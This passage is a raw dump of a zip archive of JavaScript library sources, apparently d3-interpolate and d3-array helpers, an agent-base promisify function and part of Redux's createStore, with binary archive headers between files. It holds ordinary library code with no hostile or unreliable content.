      error.name = 'Invariant Violation';
    }

    (error as any).framesToPop = 1; // we don't care about invariant's own frame
    throw error;
  }
}
PK�}�\몛��promisify.tsnu�[���import {
	Agent,
	ClientRequest,
	RequestOptions,
	AgentCallbackCallback,
	AgentCallbackPromise,
	AgentCallbackReturn
} from './index';

type LegacyCallback = (
	req: ClientRequest,
	opts: RequestOptions,
	fn: AgentCallbackCallback
) => void;

export default function promisify(fn: LegacyCallback): AgentCallbackPromise {
	return function(this: Agent, req: ClientRequest, opts: RequestOptions) {
		return new Promise((resolve, reject) => {
			fn.call(
				this,
				req,
				opts,
				(err: Error | null | undefined, rtn?: AgentCallbackReturn) => {
					if (err) {
						reject(err);
					} else {
						resolve(rtn);
					}
				}
			);
		});
	};
}
PK�}�\��Muuround.jsnu�[���export default function(a, b) {
  return a = +a, b -= a, function(t) {
    return Math.round(a + b * t);
  };
}
PK�}�\8�kkbasis.jsnu�[���export function basis(t1, v0, v1, v2, v3) {
  var t2 = t1 * t1, t3 = t2 * t1;
  return ((1 - 3 * t1 + 3 * t2 - t3) * v0
      + (4 - 6 * t2 + 3 * t3) * v1
      + (1 + 3 * t1 + 3 * t2 - 3 * t3) * v2
      + t3 * v3) / 6;
}

export default function(values) {
  var n = values.length - 1;
  return function(t) {
    var i = t <= 0 ? (t = 0) : t >= 1 ? (t = 1, n - 1) : Math.floor(t * n),
        v1 = values[i],
        v2 = values[i + 1],
        v0 = i > 0 ? values[i - 1] : 2 * v1 - v2,
        v3 = i < n - 1 ? values[i + 2] : 2 * v2 - v1;
    return basis((t - i / n) * n, v0, v1, v2, v3);
  };
}
PK�}�\�L�++array.jsnu�[���export var slice = Array.prototype.slice;
PK�}�\ �Z��hue.jsnu�[���import {hue} from "./color";

export default function(a, b) {
  var i = hue(+a, +b);
  return function(t) {
    var x = i(t);
    return x - 360 * Math.floor(x / 360);
  };
}
PK�}�\�u�e��transform/decompose.jsnu�[���var degrees = 180 / Math.PI;

export var identity = {
  translateX: 0,
  translateY: 0,
  rotate: 0,
  skewX: 0,
  scaleX: 1,
  scaleY: 1
};

export default function(a, b, c, d, e, f) {
  var scaleX, scaleY, skewX;
  if (scaleX = Math.sqrt(a * a + b * b)) a /= scaleX, b /= scaleX;
  if (skewX = a * c + b * d) c -= a * skewX, d -= b * skewX;
  if (scaleY = Math.sqrt(c * c + d * d)) c /= scaleY, d /= scaleY, skewX /= scaleY;
  if (a * d < b * c) a = -a, b = -b, skewX = -skewX, scaleX = -scaleX;
  return {
    translateX: e,
    translateY: f,
    rotate: Math.atan2(b, a) * degrees,
    skewX: Math.atan(skewX) * degrees,
    scaleX: scaleX,
    scaleY: scaleY
  };
}
PK�}�\=�9OOtransform/index.jsnu�[���import number from "../number";
import {parseCss, parseSvg} from "./parse";

function interpolateTransform(parse, pxComma, pxParen, degParen) {

  function pop(s) {
    return s.length ? s.pop() + " " : "";
  }

  function translate(xa, ya, xb, yb, s, q) {
    if (xa !== xb || ya !== yb) {
      var i = s.push("translate(", null, pxComma, null, pxParen);
      q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)});
    } else if (xb || yb) {
      s.push("translate(" + xb + pxComma + yb + pxParen);
    }
  }

  function rotate(a, b, s, q) {
    if (a !== b) {
      if (a - b > 180) b += 360; else if (b - a > 180) a += 360; // shortest path
      q.push({i: s.push(pop(s) + "rotate(", null, degParen) - 2, x: number(a, b)});
    } else if (b) {
      s.push(pop(s) + "rotate(" + b + degParen);
    }
  }

  function skewX(a, b, s, q) {
    if (a !== b) {
      q.push({i: s.push(pop(s) + "skewX(", null, degParen) - 2, x: number(a, b)});
    } else if (b) {
      s.push(pop(s) + "skewX(" + b + degParen);
    }
  }

  function scale(xa, ya, xb, yb, s, q) {
    if (xa !== xb || ya !== yb) {
      var i = s.push(pop(s) + "scale(", null, ",", null, ")");
      q.push({i: i - 4, x: number(xa, xb)}, {i: i - 2, x: number(ya, yb)});
    } else if (xb !== 1 || yb !== 1) {
      s.push(pop(s) + "scale(" + xb + "," + yb + ")");
    }
  }

  return function(a, b) {
    var s = [], // string constants and placeholders
        q = []; // number interpolators
    a = parse(a), b = parse(b);
    translate(a.translateX, a.translateY, b.translateX, b.translateY, s, q);
    rotate(a.rotate, b.rotate, s, q);
    skewX(a.skewX, b.skewX, s, q);
    scale(a.scaleX, a.scaleY, b.scaleX, b.scaleY, s, q);
    a = b = null; // gc
    return function(t) {
      var i = -1, n = q.length, o;
      while (++i < n) s[(o = q[i]).i] = o.x(t);
      return s.join("");
    };
  };
}

export var interpolateTransformCss = interpolateTransform(parseCss, "px, ", "px)", "deg)");
export var interpolateTransformSvg = interpolateTransform(parseSvg, ", ", ")", ")");
PK�}�\,2����transform/parse.jsnu�[���import decompose, {identity} from "./decompose";

var cssNode,
    cssRoot,
    cssView,
    svgNode;

export function parseCss(value) {
  if (value === "none") return identity;
  if (!cssNode) cssNode = document.createElement("DIV"), cssRoot = document.documentElement, cssView = document.defaultView;
  cssNode.style.transform = value;
  value = cssView.getComputedStyle(cssRoot.appendChild(cssNode), null).getPropertyValue("transform");
  cssRoot.removeChild(cssNode);
  value = value.slice(7, -1).split(",");
  return decompose(+value[0], +value[1], +value[2], +value[3], +value[4], +value[5]);
}

export function parseSvg(value) {
  if (value == null) return identity;
  if (!svgNode) svgNode = document.createElementNS("http://www.w3.org/2000/svg", "g");
  svgNode.setAttribute("transform", value);
  if (!(value = svgNode.transform.baseVal.consolidate())) return identity;
  value = value.matrix;
  return decompose(value.a, value.b, value.c, value.d, value.e, value.f);
}
PK�}�\.�͢??rgb.jsnu�[���import {rgb as colorRgb} from "d3-color";
import basis from "./basis";
import basisClosed from "./basisClosed";
import nogamma, {gamma} from "./color";

export default (function rgbGamma(y) {
  var color = gamma(y);

  function rgb(start, end) {
    var r = color((start = colorRgb(start)).r, (end = colorRgb(end)).r),
        g = color(start.g, end.g),
        b = color(start.b, end.b),
        opacity = nogamma(start.opacity, end.opacity);
    return function(t) {
      start.r = r(t);
      start.g = g(t);
      start.b = b(t);
      start.opacity = opacity(t);
      return start + "";
    };
  }

  rgb.gamma = rgbGamma;

  return rgb;
})(1);

function rgbSpline(spline) {
  return function(colors) {
    var n = colors.length,
        r = new Array(n),
        g = new Array(n),
        b = new Array(n),
        i, color;
    for (i = 0; i < n; ++i) {
      color = colorRgb(colors[i]);
      r[i] = color.r || 0;
      g[i] = color.g || 0;
      b[i] = color.b || 0;
    }
    r = spline(r);
    g = spline(g);
    b = spline(b);
    color.opacity = 1;
    return function(t) {
      color.r = r(t);
      color.g = g(t);
      color.b = b(t);
      return color + "";
    };
  };
}

export var rgbBasis = rgbSpline(basis);
export var rgbBasisClosed = rgbSpline(basisClosed);
PK�}�\�K��	object.jsnu�[���import value from "./value";

export default function(a, b) {
  var i = {},
      c = {},
      k;

  if (a === null || typeof a !== "object") a = {};
  if (b === null || typeof b !== "object") b = {};

  for (k in b) {
    if (k in a) {
      i[k] = value(a[k], b[k]);
    } else {
      c[k] = b[k];
    }
  }

  return function(t) {
    for (k in i) c[k] = i[k](t);
    return c;
  };
}
PK�}�\�88hcl.jsnu�[���import {hcl as colorHcl} from "d3-color";
import color, {hue} from "./color";

function hcl(hue) {
  return function(start, end) {
    var h = hue((start = colorHcl(start)).h, (end = colorHcl(end)).h),
        c = color(start.c, end.c),
        l = color(start.l, end.l),
        opacity = color(start.opacity, end.opacity);
    return function(t) {
      start.h = h(t);
      start.c = c(t);
      start.l = l(t);
      start.opacity = opacity(t);
      return start + "";
    };
  }
}

export default hcl(hue);
export var hclLong = hcl(color);
PK�}�\U)����quantize.jsnu�[���export default function(interpolator, n) {
  var samples = new Array(n);
  for (var i = 0; i < n; ++i) samples[i] = interpolator(i / (n - 1));
  return samples;
}
PK�}�\)6hG	string.jsnu�[���import number from "./number";

var reA = /[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,
    reB = new RegExp(reA.source, "g");

function zero(b) {
  return function() {
    return b;
  };
}

function one(b) {
  return function(t) {
    return b(t) + "";
  };
}

export default function(a, b) {
  var bi = reA.lastIndex = reB.lastIndex = 0, // scan index for next number in b
      am, // current match in a
      bm, // current match in b
      bs, // string preceding current number in b, if any
      i = -1, // index in s
      s = [], // string constants and placeholders
      q = []; // number interpolators

  // Coerce inputs to strings.
  a = a + "", b = b + "";

  // Interpolate pairs of numbers in a & b.
  while ((am = reA.exec(a))
      && (bm = reB.exec(b))) {
    if ((bs = bm.index) > bi) { // a string precedes the next number in b
      bs = b.slice(bi, bs);
      if (s[i]) s[i] += bs; // coalesce with previous string
      else s[++i] = bs;
    }
    if ((am = am[0]) === (bm = bm[0])) { // numbers in a & b match
      if (s[i]) s[i] += bm; // coalesce with previous string
      else s[++i] = bm;
    } else { // interpolate non-matching numbers
      s[++i] = null;
      q.push({i: i, x: number(am, bm)});
    }
    bi = reB.lastIndex;
  }

  // Add remains of b.
  if (bi < b.length) {
    bs = b.slice(bi);
    if (s[i]) s[i] += bs; // coalesce with previous string
    else s[++i] = bs;
  }

  // Special optimization for only a single match.
  // Otherwise, interpolate each of the numbers and rejoin the string.
  return s.length < 2 ? (q[0]
      ? one(q[0].x)
      : zero(b))
      : (b = q.length, function(t) {
          for (var i = 0, o; i < b; ++i) s[(o = q[i]).i] = o.x(t);
          return s.join("");
        });
}
PK�}�\�@���discrete.jsnu�[���export default function(range) {
  var n = range.length;
  return function(t) {
    return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))];
  };
}
PK�}�\�K>>>piecewise.jsnu�[���export default function piecewise(interpolate, values) {
  var i = 0, n = values.length - 1, v = values[0], I = new Array(n < 0 ? 0 : n);
  while (i < n) I[i] = interpolate(v, v = values[++i]);
  return function(t) {
    var i = Math.max(0, Math.min(n - 1, Math.floor(t *= n)));
    return I[i](t - i);
  };
}
PK�}�\m��88hsl.jsnu�[���import {hsl as colorHsl} from "d3-color";
import color, {hue} from "./color";

function hsl(hue) {
  return function(start, end) {
    var h = hue((start = colorHsl(start)).h, (end = colorHsl(end)).h),
        s = color(start.s, end.s),
        l = color(start.l, end.l),
        opacity = color(start.opacity, end.opacity);
    return function(t) {
      start.h = h(t);
      start.s = s(t);
      start.l = l(t);
      start.opacity = opacity(t);
      return start + "";
    };
  }
}

export default hsl(hue);
export var hslLong = hsl(color);
PK�}�\ 
���date.jsnu�[���export default function(a, b) {
  var d = new Date;
  return a = +a, b -= a, function(t) {
    return d.setTime(a + b * t), d;
  };
}
PK�}�\J~�BB	number.jsnu�[���export default function(x) {
  return x === null ? NaN : +x;
}
PK�}�\\��l��value.jsnu�[���import {color} from "d3-color";
import rgb from "./rgb";
import array from "./array";
import date from "./date";
import number from "./number";
import object from "./object";
import string from "./string";
import constant from "./constant";

export default function(a, b) {
  var t = typeof b, c;
  return b == null || t === "boolean" ? constant(b)
      : (t === "number" ? number
      : t === "string" ? ((c = color(b)) ? (b = c, rgb) : string)
      : b instanceof color ? rgb
      : b instanceof Date ? date
      : Array.isArray(b) ? array
      : typeof b.valueOf !== "function" && typeof b.toString !== "function" || isNaN(b) ? object
      : number)(a, b);
}
PK�}�\vS�duubasisClosed.jsnu�[���import {basis} from "./basis";

export default function(values) {
  var n = values.length;
  return function(t) {
    var i = Math.floor(((t %= 1) < 0 ? ++t : t) * n),
        v0 = values[(i + n - 1) % n],
        v1 = values[i % n],
        v2 = values[(i + 1) % n],
        v3 = values[(i + 2) % n];
    return basis((t - i / n) * n, v0, v1, v2, v3);
  };
}
PK�~�\BCyquantile.jsnu�[���import number from "./number";

export default function(values, p, valueof) {
  if (valueof == null) valueof = number;
  if (!(n = values.length)) return;
  if ((p = +p) <= 0 || n < 2) return +valueof(values[0], 0, values);
  if (p >= 1) return +valueof(values[n - 1], n - 1, values);
  var n,
      i = (n - 1) * p,
      i0 = Math.floor(i),
      value0 = +valueof(values[i0], i0, values),
      value1 = +valueof(values[i0 + 1], i0 + 1, values);
  return value0 + (value1 - value0) * (i - i0);
}
PK�~�\��hr��deviation.jsnu�[���import variance from "./variance";

export default function(array, f) {
  var v = variance(array, f);
  return v ? Math.sqrt(v) : v;
}
PK�~�\K��KK	median.jsnu�[���import ascending from "./ascending";
import number from "./number";
import quantile from "./quantile";

export default function(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      numbers = [];

  if (valueof == null) {
    while (++i < n) {
      if (!isNaN(value = number(values[i]))) {
        numbers.push(value);
      }
    }
  }

  else {
    while (++i < n) {
      if (!isNaN(value = number(valueof(values[i], i, values)))) {
        numbers.push(value);
      }
    }
  }

  return quantile(numbers.sort(ascending), 0.5);
}
PK�~�\���eerange.jsnu�[���export default function(start, stop, step) {
  start = +start, stop = +stop, step = (n = arguments.length) < 2 ? (stop = start, start = 0, 1) : n < 3 ? 1 : +step;

  var i = -1,
      n = Math.max(0, Math.ceil((stop - start) / step)) | 0,
      range = new Array(n);

  while (++i < n) {
    range[i] = start + i * step;
  }

  return range;
}
PK�~�\�����ticks.jsnu�[���var e10 = Math.sqrt(50),
    e5 = Math.sqrt(10),
    e2 = Math.sqrt(2);

export default function(start, stop, count) {
  var reverse,
      i = -1,
      n,
      ticks,
      step;

  stop = +stop, start = +start, count = +count;
  if (start === stop && count > 0) return [start];
  if (reverse = stop < start) n = start, start = stop, stop = n;
  if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return [];

  if (step > 0) {
    start = Math.ceil(start / step);
    stop = Math.floor(stop / step);
    ticks = new Array(n = Math.ceil(stop - start + 1));
    while (++i < n) ticks[i] = (start + i) * step;
  } else {
    start = Math.floor(start * step);
    stop = Math.ceil(stop * step);
    ticks = new Array(n = Math.ceil(start - stop + 1));
    while (++i < n) ticks[i] = (start - i) / step;
  }

  if (reverse) ticks.reverse();

  return ticks;
}

export function tickIncrement(start, stop, count) {
  var step = (stop - start) / Math.max(0, count),
      power = Math.floor(Math.log(step) / Math.LN10),
      error = step / Math.pow(10, power);
  return power >= 0
      ? (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1) * Math.pow(10, power)
      : -Math.pow(10, -power) / (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1);
}

export function tickStep(start, stop, count) {
  var step0 = Math.abs(stop - start) / Math.max(0, count),
      step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)),
      error = step0 / step1;
  if (error >= e10) step1 *= 10;
  else if (error >= e5) step1 *= 5;
  else if (error >= e2) step1 *= 2;
  return stop < start ? -step1 : step1;
}
PK�~�\8���	bisect.jsnu�[���import ascending from "./ascending";
import bisector from "./bisector";

var ascendingBisect = bisector(ascending);
export var bisectRight = ascendingBisect.right;
export var bisectLeft = ascendingBisect.left;
export default bisectRight;
PK�~�\��mmmin.jsnu�[���export default function(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      min;

  if (valueof == null) {
    while (++i < n) { // Find the first comparable value.
      if ((value = values[i]) != null && value >= value) {
        min = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = values[i]) != null && min > value) {
            min = value;
          }
        }
      }
    }
  }

  else {
    while (++i < n) { // Find the first comparable value.
      if ((value = valueof(values[i], i, values)) != null && value >= value) {
        min = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = valueof(values[i], i, values)) != null && min > value) {
            min = value;
          }
        }
      }
    }
  }

  return min;
}
PK�~�\J�I�histogram.jsnu�[���import {slice} from "./array";
import bisect from "./bisect";
import constant from "./constant";
import extent from "./extent";
import identity from "./identity";
import range from "./range";
import {tickStep} from "./ticks";
import sturges from "./threshold/sturges";

export default function() {
  var value = identity,
      domain = extent,
      threshold = sturges;

  function histogram(data) {
    var i,
        n = data.length,
        x,
        values = new Array(n);

    for (i = 0; i < n; ++i) {
      values[i] = value(data[i], i, data);
    }

    var xz = domain(values),
        x0 = xz[0],
        x1 = xz[1],
        tz = threshold(values, x0, x1);

    // Convert number of thresholds into uniform thresholds.
    if (!Array.isArray(tz)) {
      tz = tickStep(x0, x1, tz);
      tz = range(Math.ceil(x0 / tz) * tz, x1, tz); // exclusive
    }

    // Remove any thresholds outside the domain.
    var m = tz.length;
    while (tz[0] <= x0) tz.shift(), --m;
    while (tz[m - 1] > x1) tz.pop(), --m;

    var bins = new Array(m + 1),
        bin;

    // Initialize bins.
    for (i = 0; i <= m; ++i) {
      bin = bins[i] = [];
      bin.x0 = i > 0 ? tz[i - 1] : x0;
      bin.x1 = i < m ? tz[i] : x1;
    }

    // Assign data to bins by value, ignoring any outside the domain.
    for (i = 0; i < n; ++i) {
      x = values[i];
      if (x0 <= x && x <= x1) {
        bins[bisect(tz, x, 0, m)].push(data[i]);
      }
    }

    return bins;
  }

  histogram.value = function(_) {
    return arguments.length ? (value = typeof _ === "function" ? _ : constant(_), histogram) : value;
  };

  histogram.domain = function(_) {
    return arguments.length ? (domain = typeof _ === "function" ? _ : constant([_[0], _[1]]), histogram) : domain;
  };

  histogram.thresholds = function(_) {
    return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold;
  };

  return histogram;
}
PK�~�\�	�4hhzip.jsnu�[���import transpose from "./transpose";

export default function() {
  return transpose(arguments);
}
PK�~�\�P�	��sum.jsnu�[���export default function(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      sum = 0;

  if (valueof == null) {
    while (++i < n) {
      if (value = +values[i]) sum += value; // Note: zero and null are equivalent.
    }
  }

  else {
    while (++i < n) {
      if (value = +valueof(values[i], i, values)) sum += value;
    }
  }

  return sum;
}
PK�~�\�!��++
shuffle.jsnu�[���export default function(array, i0, i1) {
  var m = (i1 == null ? array.length : i1) - (i0 = i0 == null ? 0 : +i0),
      t,
      i;

  while (m) {
    i = Math.random() * m-- | 0;
    t = array[m + i0];
    array[m + i0] = array[i + i0];
    array[i + i0] = t;
  }

  return array;
}
PK�~�\W��o��cross.jsnu�[���import {pair} from "./pairs";

export default function(values0, values1, reduce) {
  var n0 = values0.length,
      n1 = values1.length,
      values = new Array(n0 * n1),
      i0,
      i1,
      i,
      value0;

  if (reduce == null) reduce = pair;

  for (i0 = i = 0; i0 < n0; ++i0) {
    for (value0 = values0[i0], i1 = 0; i1 < n1; ++i1, ++i) {
      values[i] = reduce(value0, values1[i1]);
    }
  }

  return values;
}
PK�~�\�k蟩�variance.jsnu�[���import number from "./number";

export default function(values, valueof) {
  var n = values.length,
      m = 0,
      i = -1,
      mean = 0,
      value,
      delta,
      sum = 0;

  if (valueof == null) {
    while (++i < n) {
      if (!isNaN(value = number(values[i]))) {
        delta = value - mean;
        mean += delta / ++m;
        sum += delta * (value - mean);
      }
    }
  }

  else {
    while (++i < n) {
      if (!isNaN(value = number(valueof(values[i], i, values)))) {
        delta = value - mean;
        mean += delta / ++m;
        sum += delta * (value - mean);
      }
    }
  }

  if (m > 1) return sum / (m - 1);
}
PK�~�\>��YY
descending.jsnu�[���export default function(a, b) {
  return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN;
}
PK�~�\�a!hhmerge.jsnu�[���export default function(arrays) {
  var n = arrays.length,
      m,
      i = -1,
      j = 0,
      merged,
      array;

  while (++i < n) j += arrays[i].length;
  merged = new Array(j);

  while (--n >= 0) {
    array = arrays[n];
    m = array.length;
    while (--m >= 0) {
      merged[--j] = array[m];
    }
  }

  return merged;
}
PK�~�\�Y,+55ascending.jsnu�[���export default function(a, b) {
  return a - b;
}
PK�~�\��Ŝsstranspose.jsnu�[���import min from "./min";

export default function(matrix) {
  if (!(n = matrix.length)) return [];
  for (var i = -1, m = min(matrix, length), transpose = new Array(m); ++i < m;) {
    for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n;) {
      row[j] = matrix[j][i];
    }
  }
  return transpose;
}

function length(d) {
  return d.length;
}
PK�~�\�
˜�scan.jsnu�[���import ascending from "./ascending";

export default function(values, compare) {
  if (!(n = values.length)) return;
  var n,
      i = 0,
      j = 0,
      xi,
      xj = values[j];

  if (compare == null) compare = ascending;

  while (++i < n) {
    if (compare(xi = values[i], xj) < 0 || compare(xj, xj) !== 0) {
      xj = xi, j = i;
    }
  }

  if (compare(xj, xj) === 0) return j;
}
PK�~�\0�pairs.jsnu�[���export default function(array, f) {
  if (f == null) f = pair;
  var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n < 0 ? 0 : n);
  while (i < n) pairs[i] = f(p, p = array[++i]);
  return pairs;
}

export function pair(a, b) {
  return [a, b];
}
PK�~�\C[���mean.jsnu�[���import number from "./number";

export default function(values, valueof) {
  var n = values.length,
      m = n,
      i = -1,
      value,
      sum = 0;

  if (valueof == null) {
    while (++i < n) {
      if (!isNaN(value = number(values[i]))) sum += value;
      else --m;
    }
  }

  else {
    while (++i < n) {
      if (!isNaN(value = number(valueof(values[i], i, values)))) sum += value;
      else --m;
    }
  }

  if (m) return sum / m;
}
PK�~�\�&��mmmax.jsnu�[���export default function(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      max;

  if (valueof == null) {
    while (++i < n) { // Find the first comparable value.
      if ((value = values[i]) != null && value >= value) {
        max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = values[i]) != null && value > max) {
            max = value;
          }
        }
      }
    }
  }

  else {
    while (++i < n) { // Find the first comparable value.
      if ((value = valueof(values[i], i, values)) != null && value >= value) {
        max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = valueof(values[i], i, values)) != null && value > max) {
            max = value;
          }
        }
      }
    }
  }

  return max;
}
PK�~�\(h�Fccthreshold/sturges.jsnu�[���export default function(values) {
  return Math.ceil(Math.log(values.length) / Math.LN2) + 1;
}
PK�~�\�|���threshold/scott.jsnu�[���import deviation from "../deviation";

export default function(values, min, max) {
  return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3)));
}
PK�~�\�t�Krrthreshold/freedmanDiaconis.jsnu�[���import {map} from "../array";
import ascending from "../ascending";
import number from "../number";
import quantile from "../quantile";

export default function(values, min, max) {
  values = map.call(values, number).sort(ascending);
  return Math.ceil((max - min) / (2 * (quantile(values, 0.75) - quantile(values, 0.25)) * Math.pow(values.length, -1 / 3)));
}
PK�~�\F��5..identity.jsnu�[���export default function(x) {
  return x;
}
PK�~�\�u��33bisector.jsnu�[���import ascending from "./ascending";

export default function(compare) {
  if (compare.length === 1) compare = ascendingComparator(compare);
  return {
    left: function(a, x, lo, hi) {
      if (lo == null) lo = 0;
      if (hi == null) hi = a.length;
      while (lo < hi) {
        var mid = lo + hi >>> 1;
        if (compare(a[mid], x) < 0) lo = mid + 1;
        else hi = mid;
      }
      return lo;
    },
    right: function(a, x, lo, hi) {
      if (lo == null) lo = 0;
      if (hi == null) hi = a.length;
      while (lo < hi) {
        var mid = lo + hi >>> 1;
        if (compare(a[mid], x) > 0) hi = mid;
        else lo = mid + 1;
      }
      return lo;
    }
  };
}

function ascendingComparator(f) {
  return function(d, x) {
    return ascending(f(d), x);
  };
}
PK�~�\��u��
permute.jsnu�[���export default function(array, indexes) {
  var i = indexes.length, permutes = new Array(i);
  while (i--) permutes[i] = array[indexes[i]];
  return permutes;
}
PKm�\q����0�0createStore.jsnu�[���import $$observable from './utils/symbol-observable'

import ActionTypes from './utils/actionTypes'
import isPlainObject from './utils/isPlainObject'
import { kindOf } from './utils/kindOf'

/**
 * @deprecated
 *
 * **We recommend using the `configureStore` method
 * of the `@reduxjs/toolkit` package**, which replaces `createStore`.
 *
 * Redux Toolkit is our recommended approach for writing Redux logic today,
 * including store setup, reducers, data fetching, and more.
 *
 * **For more details, please read this Redux docs page:**
 * **https://redux.js.org/introduction/why-rtk-is-redux-today**
 *
 * `configureStore` from Redux Toolkit is an improved version of `createStore` that
 * simplifies setup and helps avoid common bugs.
 *
 * You should not be using the `redux` core package by itself today, except for learning purposes.
 * The `createStore` method from the core `redux` package will not be removed, but we encourage
 * all users to migrate to using Redux Toolkit for all Redux code.
 *
 * If you want to use `createStore` without this visual deprecation warning, use
 * the `legacy_createStore` import instead:
 *
 * `import { legacy_createStore as createStore} from 'redux'`
 *
 */
export function createStore(reducer, preloadedState, enhancer) {
  if (
    (typeof preloadedState === 'function' && typeof enhancer === 'function') ||
    (typeof enhancer === 'function' && typeof arguments[3] === 'function')
  ) {
    throw new Error(
      'It looks like you are passing several store enhancers to ' +
        'createStore(). This is not supported. Instead, compose them ' +
        'together to a single function. See https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers for an example.'
    )
  }

  if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {
    enhancer = preloadedState
    preloadedState = undefined
  }

  if (typeof enhancer !== 'undefined') {
    if (typeof enhancer !== 'function') {
      throw new Error(
        `Expected the enhancer to be a function. Instead, received: '${kindOf(
          enhancer
        )}'`
      )
    }

    return enhancer(createStore)(reducer, preloadedState)
  }

  if (typeof reducer !== 'function') {
    throw new Error(
      `Expected the root reducer to be a function. Instead, received: '${kindOf(
        reducer
      )}'`
    )
  }

  let currentReducer = reducer
  let currentState = preloadedState
  let currentListeners = []
  let nextListeners = currentListeners
  let isDispatching = false

  /**
   * This makes a shallow copy of currentListeners so we can use
   * nextListeners as a temporary list while dispatching.
   *
   * This prevents any bugs around consumers calling
   * subscribe/unsubscribe in the middle of a dispatch.
   */
  function ensureCanMutateNextListeners() {
    if (nextListeners === currentListeners) {
      nextListeners = currentListeners.slice()
    }
  }

  /**
   * Reads the state tree managed by the store.
   *
   * @returns {any} The current state tree of your application.
   */
  function getState() {
    if (isDispatching) {
      throw new Error(
        'You may not call store.getState() while the reducer is executing. ' +
          'The reducer has already received the state as an argument. ' +
          'Pass it down from the top reducer instead of reading it from the store.'
      )
    }

    return currentState
  }

  /**
   * Adds a change listener. It will be called any time an action is dispatched,
   * and some part of the state tree may potentially have changed. You may then
   * call `getState()` to read the current state tree inside the callback.
   *
   * You may call `dispatch()` from a change listener, with the following
   * caveats:
   *
   * 1. The subscriptions are snapshotted just before every `dispatch()` call.
   * If you subscribe or unsubscribe while the listeners are being invoked, this
   * will not have any effect on the `dispatch()` that is currently in progress.
   * However, the next `dispatch()` call, whether nested or not, will use a more
   * recent snapshot of the subscription list.
   *
   * 2. The listener should not expect to see all state changes, as the state
   * might have been updated multiple times during a nested `dispatch()` before
   * the listener is called. It is, however, guaranteed that all subscribers
   * registered before the `dispatch()` started will be called with the latest
   * state by the time it exits.
   *
   * @param {Function} listener A callback to be invoked on every dispatch.
   * @returns {Function} A function to remove this change listener.
   */
  function subscribe(listener) {
    if (typeof listener !== 'function') {
      throw new Error(
        `Expected the listener to be a function. Instead, received: '${kindOf(
          listener
        )}'`
      )
    }

    if (isDispatching) {
      throw new Error(
        'You may not call store.subscribe() while the reducer is executing. ' +
          'If you would like to be notified after the store has been updated, subscribe from a ' +
          'component and invoke store.getState() in the callback to access the latest state. ' +
          'See https://redux.js.org/api/store#subscribelistener for more details.'
      )
    }

    let isSubscribed = true

    ensureCanMutateNextListeners()
    nextListeners.push(listener)

    return function unsubscribe() {
      if (!isSubscribed) {
        return
      }

      if (isDispatching) {
        throw new Error(
          'You may not unsubscribe from a store listener while the reducer is executing. ' +
            'See https://redux.js.org/api/store#subscribelistener for more details.'
        )
      }

      isSubscribed = false

      ensureCanMutateNextListeners()
      const index = nextListeners.indexOf(listener)
      nextListeners.splice(index, 1)
      currentListeners = null
    }
  }

  /**
   * Dispatches an action. It is the only way to trigger a state change.
   *
   * The `reducer` function, used to create the store, will be called with the
   * current state tree and the given `action`. Its return value will
   * be considered the **next** state of the tree, and the change listeners
   * will be notified.
   *
   * The base implementation only supports plain object actions. If you want to
   * dispatch a Promise, an Observable, a thunk, or something else, you need to
   * wrap your store creating function into the corresponding middleware. For
   * example, see the documentation for the `redux-thunk` package. Even the
   * middleware will eventually dispatch plain object actions using this method.
   *
   * @param {Object} action A plain object representing “what changed”. It is
   * a good idea to keep actions serializable so you can record and replay user
   * sessions, or use the time travelling `redux-devtools`. An action must have
   * a `type` property which may not be `undefined`. It is a good idea to use
   * string constants for action types.
   *
   * @returns {Object} For convenience, the same action object you dispatched.
   *
   * Note that, if you use a custom middleware, it may wrap `dispatch()` to
   * return something else (for example, a Promise you can await).
   */
  function dispatch(action) {
    if (!isPlainObject(action)) {
      throw new Error(
        `Actions must be plain objects. Instead, the actual type was: '${kindOf(
          action
        )}'. You may need to add middleware to your store setup to handle dispatching other values, such as 'redux-thunk' to handle dispatching functions. See https://redux.js.org/tutorials/fundamentals/part-4-store#middleware and https://redux.js.org/tutorials/fundamentals/part-6-async-logic#using-the-redux-thunk-middleware for examples.`
      )
    }

    if (typeof action.type === 'undefined') {
      throw new Error(
        'Actions may not have an undefined "type" property. You may have misspelled an action type string constant.'
      )
    }

    if (isDispatching) {
      throw new Error('Reducers may not dispatch actions.')
    }

    try {
      isDispatching = true
      currentState = currentReducer(currentState, action)
    } finally {
      isDispatching = false
    }

    const listeners = (currentListeners = nextListeners)
    for (let i = 0; i < listeners.length; i++) {
      const listener = listeners[i]
      listener()
    }

    return action
  }

  /**
   * Replaces the reducer currently used by the store to calculate the state.
   *
   * You might need this if your app implements code splitting and you want to
   * load some of the reducers dynamically. You might also need this if you
   * implement a hot reloading mechanism for Redux.
   *
   * @param {Function} nextReducer The reducer for the store to use instead.
   * @returns {void}
   */
  function replaceReducer(nextReducer) {
    if (typeof nextReducer !== 'function') {
      throw new Error(
        `Expected the nextReducer to be a function. Instead, received: '${kindOf(
          nextReducer
        )}`
      )
    }

    currentReducer = nextReducer

    // This action has a similiar effect to ActionTypes.INIT.
    // Any reducers that existed in both the new and old rootReducer
    // will receive the previous state. This effectively populates
    // the new state tree with any relevant data from the old one.
    dispatch({ type: ActionTypes.REPLACE })
  }

  /**
   * Interoperability point for observable/reactive libraries.
